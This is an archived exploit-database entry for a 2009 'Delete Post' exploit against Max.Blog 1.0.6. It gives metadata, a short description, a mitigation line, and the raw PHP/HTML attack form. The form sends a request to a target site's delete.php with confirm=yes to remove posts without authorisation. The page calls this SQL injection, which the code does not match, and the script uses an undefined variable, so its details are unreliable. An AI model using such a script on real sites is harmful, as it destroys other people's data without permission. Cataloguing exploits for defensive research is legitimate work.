Max.Blog 1.0.6 Delete Post Exploit

vendor:

Max.Blog

by:

SirGod

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: Max.Blog

Affected Version From: 1.0.6

Affected Version To: 1.0.6

Patch Exists: NO

Related CWE: N/A

CPE: a:max_blog:max.blog

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Max.Blog 1.0.6 Delete Post Exploit

Max.Blog 1.0.6 is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this issue to manipulate SQL queries in the back-end database, allowing the attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.

Source

Exploit-DB raw data:

<html>
<head>
<title>Max.Blog 1.0.6 Delete Post Exploit</title>
</head>

<body>
<p align="center">
<b>Max.Blog 1.0.6 Delete Post Exploit</b><br /><br />
<b>Discovered by <b>SirGod</b><br />
Thanks to <b>Nytro</b><br />
Please visit : <br />
------------------------<br />
www.mortal-team.org<br />
------------------------<br />
www.h4cky0u.org<br />
------------------------<br />
www.xpl0it.info<br />
------------------------<br />
www.anti-intruders.org<br />
------------------------<br />
</b>
</p>

<?php
if(isset($_POST['submit']))
{
    $site=$_POST['site'];
	$id=$_POST['post_id'];
	$pagina=file_get_contents("http://".$site."/delete.php?post=".$post_id."&confirm=yes");
	print "<p align=\"center\">Done!</p><br />";
}

?>

<form method="POST">
<p align="center">
Site: www. <input type="text" name="site" value="site.com/path" /><br
/> (without http,www and trailing slash)<br />
Post ID: <input type="text" name="post_id" value="1" /><br /><br />
<input type="submit" name="submit" value="Delete" />
</p>
</form>
</body>
</html>

# milw0rm.com [2009-01-20]